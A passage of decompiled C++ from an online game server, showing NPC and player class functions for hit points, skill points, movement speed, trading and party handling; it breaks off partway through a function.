ShineObjectClass::ShineNPC::so_mobile_BattleCamp(ShineObjectClass::ShineNPC *this) { return 3 - (*(_BYTE *)(**(_DWORD **)&this->gap0[7656] + 103) != 0); } //----- (0052CE30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::so_SetGateBriefInform(ShineObjectClass::ShineNPC *this, char *linktoclient) { *(_BYTE *)(*(_DWORD *)&this->gap0[7631] + 14) = 1; Name3::operator_((Name3 *)(*(_DWORD *)&this->gap0[7631] + 15), linktoclient); } //----- (0052CE50) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineNPC::so_MaxHP(ShineObjectClass::ShineNPC *this) { ShineObjectClass::ShineNPC *v1; // esi@1 int v2; // edi@1 unsigned __int64 v3; // qax@3 v1 = this; v2 = *(_DWORD *)(**(_DWORD **)&this->gap0[7656] + 70); if ( *(_DWORD *)&this->gap0[9092] ) v2 = *(_DWORD *)&this->gap0[9092]; v3 = *(_DWORD *)((*(int (__thiscall **)(ShineObjectClass::ShineNPC *))(*(_DWORD *)&this->gap0[0] + 1068))(this) + 2444) * (signed __int64)v2 / 0x3E8ui64; *(_DWORD *)&v1->gap0[3580] = v3; return v3; } //----- (0052CEB0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineNPC::so_RemakeHandle(ShineObjectClass::ShineNPC *this, unsigned __int16 handle) { ShineObjectClass::ShineNPC *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 16 * handle | 0xD; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 16 * handle | 0xD; } //----- (0052CEE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::so_npc_SetLocation(ShineObjectClass::ShineNPC *this, Name3 MapName, int X, int Y, int Dir) { int v5; // eax@1 int v6; // edx@3 unsigned int v7; // ecx@3 unsigned int v8; // [sp+0h] [bp-4h]@1 v8 = (unsigned int)&v8 ^ __security_cookie; *(_DWORD *)&this->gap0[7635] = *(_DWORD *)&MapName; *(_DWORD *)&this->gap0[7643] = *(_DWORD *)&MapName.n3_name[8]; *(_DWORD *)&this->gap0[7639] = *(_DWORD *)&MapName.n3_name[4]; **(_DWORD **)&this->gap0[78] = X; *(_DWORD *)(*(_DWORD *)&this->gap0[78] + 4) = Y; v5 = Dir / 2; if ( Dir / 2 < 0 ) { v6 = *(_DWORD *)&this->gap0[82]; v7 = (unsigned int)&v8 ^ v8; *(_BYTE *)v6 = v5 - 76; __security_check_cookie(v7); } else { **(_BYTE **)&this->gap0[82] = v5; __security_check_cookie((unsigned int)&v8 ^ v8); } } //----- (0052CF60) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineNPC::_vector_deleting_destructor_(ShineObjectClass::ShineNPC *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x23E0u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineNPC::_ShineNPC); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineNPC::_ShineNPC(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (0052CFC0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, const unsigned int *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x3FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( (std::_Tree,std::allocator,0> > *)this, (std::_Tree_nod,std::allocator,0> >::_Node *)this->_Myhead, (std::_Tree_nod,std::allocator,0> >::_Node *)_Wherenode, (std::_Tree_nod,std::allocator,0> >::_Node *)this->_Myhead, (ABSTATEINDEX *)_Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v5->_Myhead->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v5->_Myhead->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { if ( _Addleft ) { _Wherenode->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { _Wherenode->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 16) = 1; *(_BYTE *)(v14 + 16) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 16) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0052D170) -------------------------------------------------------- void __thiscall ItemActionObserveManager::_ItemActionObserveManager(ItemActionObserveManager *this) { ItemActionObserveManager *v1; // esi@1 v1 = this; if ( this->iaom_CoolTimeList._Myfirst ) operator delete(this->iaom_CoolTimeList._Myfirst); v1->iaom_CoolTimeList._Myfirst = 0; v1->iaom_CoolTimeList._Mylast = 0; v1->iaom_CoolTimeList._Myend = 0; if ( v1->iaom_Observes._Myfirst ) operator delete(v1->iaom_Observes._Myfirst); v1->iaom_Observes._Myfirst = 0; v1->iaom_Observes._Mylast = 0; v1->iaom_Observes._Myend = 0; } //----- (0052D1B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::_ShinePlayer(int this) { int v1; // esi@1 v1 = this; *(_DWORD *)this = &ShineObjectClass::ShinePlayer::_vftable_; if ( *(_DWORD *)(this + 143780) ) free(*(void **)(this + 143780)); SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob((SpyNet::IntelligenceOffice4Mob *)(v1 + 143764)); MobTargetAggresive::_MobTargetAggresive((MobTargetAggresive *)(v1 + 143688)); std::vector>::_Tidy((std::vector > *)(v1 + 143668)); if ( *(_DWORD *)(v1 + 143648) ) operator delete(*(void **)(v1 + 143648)); *(_DWORD *)(v1 + 143648) = 0; *(_DWORD *)(v1 + 143652) = 0; *(_DWORD *)(v1 + 143656) = 0; if ( *(_DWORD *)(v1 + 143632) ) operator delete(*(void **)(v1 + 143632)); *(_DWORD *)(v1 + 143632) = 0; *(_DWORD *)(v1 + 143636) = 0; *(_DWORD *)(v1 + 143640) = 0; List::_List((ItemLotAnalyser::LotAnalyser *)(v1 + 143228)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 143172)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 143169)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 143168)); CChargedItem::Clear((CChargedItem *)(v1 + 142740)); ChargedItemEffectList::ChargedEffectList::_ChargedEffectList((ChargedItemEffectList::ChargedEffectList *)(v1 + 142064)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 142036)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 142028)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 142020)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 142012)); ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(v1 + 140400)); ShineObjectClass::ShinePlayer::BoothSell::_BoothSell((ShineObjectClass::ShinePlayer::BoothSell *)(v1 + 139648)); TreasureChestLocationManager::_TreasureChestLocationManager((TreasureChestLocationManager *)(v1 + 139627)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 139500)); ItemRewardStorage::_ItemRewardStorage((ItemRewardStorage *)(v1 + 136600)); ItemAccountStorage::_ItemAccountStorage((ItemAccountStorage *)(v1 + 69776)); ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess((ShineObjectClass::ShinePlayer::NPCProcess *)(v1 + 68608)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 68579)); CharacterPassiveList::_CharacterPassiveList((CharacterPassiveList *)(v1 + 68532)); CharaterSkillList::_CharaterSkillList((CharaterSkillList *)(v1 + 68496)); ShineQuestDiary::_ShineQuestDiary((ShineQuestDiary *)(v1 + 66176)); NormalAttackDamageDelay::NormalAttackDamageTick::_NormalAttackDamageTick((NormalAttackDamageDelay::NormalAttackDamageTick *)(v1 + 66156)); ShineObjectClass::ShinePlayer::__unnamed::___unnamed((void *)(v1 + 32312)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 32165)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 32164)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 31916)); *(_DWORD *)(v1 + 23704) = &PacketContainerBase::_vftable_; TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(v1 + 23696)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 7452)); return ShineObjectClass::ShineMobileObject::_ShineMobileObject((void *)v1); } // 660EA4: using guessed type int (__stdcall *PacketContainerBase___vftable_)(int itm); // 66CE28: using guessed type int (*ShineObjectClass__ShinePlayer___vftable_)(); //----- (0052D460) -------------------------------------------------------- ShineRTTI *__cdecl ShineObjectClass::ShinePlayer::GetRTTI() { return &ShineObjectClass::ShinePlayer::m_RTTI; } //----- (0052D470) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ItemInventory(void *this) { return (int)((char *)this + 32312); } //----- (0052D480) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_TradeStructure(void *this) { return (int)((char *)this + 68560); } //----- (0052D490) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_TradeBoard(void *this) { return (int)((char *)this + 68579); } //----- (0052D4A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetWaitTradeResFromDB(int this) { return *(_BYTE *)(this + 68578); } //----- (0052D4B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetWaitTradeResFromDB(int this, char value) { char result; // al@1 result = value; *(_BYTE *)(this + 68578) = value; return result; } //----- (0052D4C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SilverWingCoolTime(int this) { return 60000 * *(_BYTE *)(this + 142688); } //----- (0052D4D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCoolTimeUpdate(int this, unsigned __int16 skill, unsigned int eoct) { return CharaterSkillList::csl_UpdateCoolTime((CharaterSkillList *)(this + 68496), skill, eoct); } //----- (0052D4E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_PacketEncryptClass(void *this) { return (int)((char *)this + 31916); } //----- (0052D4F0) -------------------------------------------------------- __int64 __thiscall ShineObjectClass::ShinePlayer::so_ply_CurrentMoney(int this) { return *(_QWORD *)(this + 32221); } //----- (0052D500) -------------------------------------------------------- __int64 __thiscall ShineObjectClass::ShinePlayer::so_ply_CurrentExp(int this) { return *(_QWORD *)(this + 32193); } //----- (0052D510) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_CurrentFame(int this) { return *(_DWORD *)(this + 32217); } //----- (0052D520) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_AdministratorLevel(int this) { return *(_BYTE *)(this + 32263); } //----- (0052D530) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_extradata(void *this) { return (int)((char *)this + 139616); } //----- (0052D540) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_SetParty(int this, __int16 party) { __int16 result; // ax@1 result = party; *(_WORD *)(this + 32281) = party; return result; } //----- (0052D550) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_CharName(void *this) { return (int)((char *)this + 32175); } //----- (0052D560) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_datasync(int this) { int v1; // eax@1 int v2; // edx@1 char result; // al@1 v1 = *(_DWORD *)(this + 78); *(_DWORD *)(this + 32241) = *(_DWORD *)v1; v2 = *(_DWORD *)(this + 82); *(_DWORD *)(this + 32245) = *(_DWORD *)(v1 + 4); result = *(_BYTE *)v2; *(_BYTE *)(this + 32249) = *(_BYTE *)v2; return result; } //----- (0052D580) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_SoloingMode(int this) { return (*(_BYTE *)(this + 23352) >> 3) & 1; } //----- (0052D590) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SendMyBriefInfo(void *this, int a2) { void *v2; // edi@1 int v3; // eax@7 int result; // eax@8 v2 = this; if ( this == (void *)a2 ) AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_SendMyBriefInfo", 0); if ( *(_WORD *)(a2 + 4) == **((_WORD **)v2 + 8040) ) AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_SendMyBriefInfo", 0); if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1152))(v2) && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1948))(a2) ) { v3 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 764))(a2); (*(void (__thiscall **)(int, int, char *))(*(_DWORD *)v3 + 12))(v3, a2, (char *)v2 + 31920); } result = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1948))(a2); if ( !(_BYTE)result ) result = (*(int (__thiscall **)(void *, int))(*(_DWORD *)v2 + 2584))(v2, a2); return result; } //----- (0052D620) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetDataSocketStream(int this) { return *(_DWORD *)(this + 31912); } //----- (0052D630) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetGameSocketStream(int this) { return *(_DWORD *)(this + 31908); } //----- (0052D640) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_IsEmpty(int this) { return *(_BYTE *)(this + 143664) || !(unsigned __int8)(*(int (**)(void))(**(_DWORD **)(this + 23692) + 12))(); } //----- (0052D660) -------------------------------------------------------- char __cdecl ShineObjectClass::ShinePlayer::so_TargetType() { return 2; } //----- (0052D670) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetLevel(int this) { char result; // al@1 result = *(_BYTE *)(this + 32192); if ( (unsigned __int8)result <= 0x96u ) { if ( !result ) result = 1; } else { result = -106; } return result; } //----- (0052D690) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetClass(int this) { return (*(_BYTE *)(this + 32268) >> 2) & 0x1F; } //----- (0052D6A0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_attackspeed1000(void *this) { int v1; // ecx@1 unsigned int result; // eax@1 v1 = *(_DWORD *)((*(int (**)(void))(*(_DWORD *)this + 1068))() + 2440) * *((_WORD *)this + 69732); result = ((signed int)((unsigned __int64)(v1 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v1 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); if ( (result & 0x80000000u) != 0 ) result = 0; return result; } //----- (0052D6D0) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShinePlayer::so_BodySize() { return 50; } //----- (0052D6E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetCharBriefInfo(int this) { return *(_DWORD *)(this + 32160); } //----- (0052D6F0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_AttackRange(void *this, int a2) { int v2; // eax@1 v2 = (*(int (**)(void))(*(_DWORD *)this + 1176))(); return (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 64))(v2) != 11 ? 100 : 450; } //----- (0052D720) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_WalkSpeed(void *this) { void *v1; // esi@1 unsigned __int64 v2; // qax@2 __int16 result; // ax@4 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1152))() == 6 ) v2 = shineparam.scp_param.chrwalkspeed * *((_WORD *)v1 + 71577) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3); else v2 = shineparam.scp_param.chrwalkspeed * *((_DWORD *)v1 + 1704) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3); result = (unsigned __int8)(HIDWORD(v2) >> 6); if ( result < 0 ) result = 0; return result; } //----- (0052D770) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_RunSpeed(void *this) { void *v1; // esi@1 unsigned __int64 v2; // qax@2 int v3; // edx@4 __int16 result; // ax@5 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1152))() == 6 ) v2 = shineparam.scp_param.chrrunspeed * *((_WORD *)v1 + 71578) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3); else v2 = shineparam.scp_param.chrrunspeed * *((_DWORD *)v1 + 1704) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3); v3 = HIDWORD(v2) >> 6; if ( (signed __int16)v3 >= 0 ) result = v3; else result = 0; return result; } //----- (0052D7C0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_GetWMSHandle(int this) { return *(_WORD *)(this + 139616); } //----- (0052D7D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetCharRegistNumber(int this) { return *(_DWORD *)(this + 32171); } //----- (0052D7E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetUserRegistNumber(int this) { return *(_DWORD *)(this + 32167); } //----- (0052D7F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_LoginLocation(void *this) { return (int)((char *)this + 32229); } //----- (0052D800) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_fullbufferitem(int this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr) { return CharacterInventory::ci_FillBufferItem((CharacterInventory *)(this + 32312), itemcounter, itmarr); } //----- (0052D810) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_fullbufferitem_box(int this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box, ItemBag *bag) { int from; // [sp+0h] [bp-4h]@1 from = 0; return CharacterInventory::ci_FillBufferInventoryItem( (CharacterInventory *)(this + 32312), itemcounter, itmarr, box, &from, 8000, bag); } //----- (0052D850) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_Heal(void *this, int heal) { void *v2; // esi@1 signed int v3; // edx@1 int v4; // edi@1 int v5; // eax@1 unsigned int v6; // ecx@1 char *v7; // ecx@1 int result; // eax@1 v2 = this; v3 = (signed int)((unsigned __int64)(heal * *(_WORD *)((*(int (**)(void))(*(_DWORD *)this + 1068))() + 3094) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v4 = v3 + ((unsigned int)v3 >> 31); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1384))(v2); v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)v5; *((_DWORD *)v7 + 1) = *(_DWORD *)(v5 + 4); *((_DWORD *)v7 + 2) = *(_DWORD *)(v5 + 8); *((_DWORD *)v7 + 3) = *(_DWORD *)(v5 + 12); v7[16] = 0; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v2, v4, 1, (int)"ShineObjectClass::ShinePlayer::so_Heal"); *(_DWORD *)((char *)v2 + 32209) += v4; result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1260))(v2); if ( *(_DWORD *)((char *)v2 + 32209) > (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1260))(v2); *(_DWORD *)((char *)v2 + 32209) = result; } return result; } //----- (0052D900) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetHP(int this) { return *(_DWORD *)(this + 32209); } //----- (0052D910) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetSP(int this) { return *(_DWORD *)(this + 32213); } //----- (0052D920) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_LostSP(int this, unsigned int a2) { unsigned int result; // eax@1 result = *(_DWORD *)(this + 32213); if ( result < a2 ) { *(_DWORD *)(this + 32213) = 0; } else { result -= a2; *(_DWORD *)(this + 32213) = result; } return result; } //----- (0052D950) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GainSP(void *this, int a2) { void *v2; // esi@1 int result; // eax@1 v2 = this; *(_DWORD *)((char *)v2 + 32213) += a2; result = (*(int (**)(void))(*(_DWORD *)this + 1264))(); if ( *(_DWORD *)((char *)v2 + 32213) >= (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1264))(v2); *(_DWORD *)((char *)v2 + 32213) = result; } return result; } //----- (0052D990) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ZeroHP(int this) { *(_DWORD *)(this + 32209) = 0; } //----- (0052D9A0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_LostHP(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 unsigned int v4; // ecx@1 char *v5; // ecx@1 unsigned int result; // eax@1 v2 = this; v3 = (*(int (**)(void))(*(_DWORD *)this + 1384))(); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v3 + 12); v5[16] = 0; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v2, hp, -1, (int)"ShineObjectClass::ShinePlayer::so_LostHP"); result = *(_DWORD *)((char *)v2 + 32209); if ( result < hp ) { *(_DWORD *)((char *)v2 + 32209) = 1; } else { result -= hp; *(_DWORD *)((char *)v2 + 32209) = result; } return result; } //----- (0052DA20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GainHP(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 unsigned int v4; // ecx@1 char *v5; // ecx@1 int result; // eax@1 v2 = this; v3 = (*(int (**)(void))(*(_DWORD *)this + 1384))(); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v3 + 12); v5[16] = 0; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v2, hp, 1, (int)"ShineObjectClass::ShinePlayer::so_GainHP"); *(_DWORD *)((char *)v2 + 32209) += hp; result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1252))(v2); if ( *(_DWORD *)((char *)v2 + 32209) >= (unsigned int)result ) { result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1252))(v2); *(_DWORD *)((char *)v2 + 32209) = result; } return result; } //----- (0052DAB0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_RemakeHandle(void *this, __int16 handle) { void *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 8 * handle | 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 8 * handle | 2; } //----- (0052DAF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_SetSocketSession(int this, int session) { int v2; // edx@1 v2 = *(_DWORD *)(this + 23704); *(_DWORD *)(this + 23692) = session; return (*(int (__thiscall **)(int))v2)(this + 23704); } //----- (0052DB10) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_Getabstatebit(int this) { return *(_DWORD *)(this + 32160) + 87; } //----- (0052DB20) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_PartyRegistNumber(int this) { return *(_WORD *)(this + 32281); } //----- (0052DB30) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_GetRaidNumber(int this) { return *(_WORD *)(this + 32283); } //----- (0052DB40) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_SetRaidNumber(int this, __int16 pRaidNum) { __int16 result; // ax@1 result = pRaidNum; *(_WORD *)(this + 32283) = pRaidNum; return result; } //----- (0052DB50) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_GetPartyGroup(void *this) { void *v1; // esi@1 signed int result; // eax@2 v1 = this; if ( (unsigned __int16)(*(int (**)(void))(*(_DWORD *)this + 1360))() == -1 ) result = (unsigned __int16)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1356))(v1) != -1; else result = 2; return result; } //----- (0052DB80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_LearnPassive(void *this, unsigned __int16 skill) { void *v2; // esi@1 Name4 *v3; // eax@1 v2 = this; v3 = (Name4 *)(*(int (**)(void))(*(_DWORD *)this + 1384))(); CharacterPassiveList::psl_Store((CharacterPassiveList *)((char *)v2 + 68532), skill, v3); } //----- (0052DBA0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_tradestart(int this, int a2) { int v2; // esi@1 char result; // al@1 v2 = this + 68579; TradeBoard::tb_Clear((void *)(this + 68579)); *(_DWORD *)v2 = a2; result = 0; 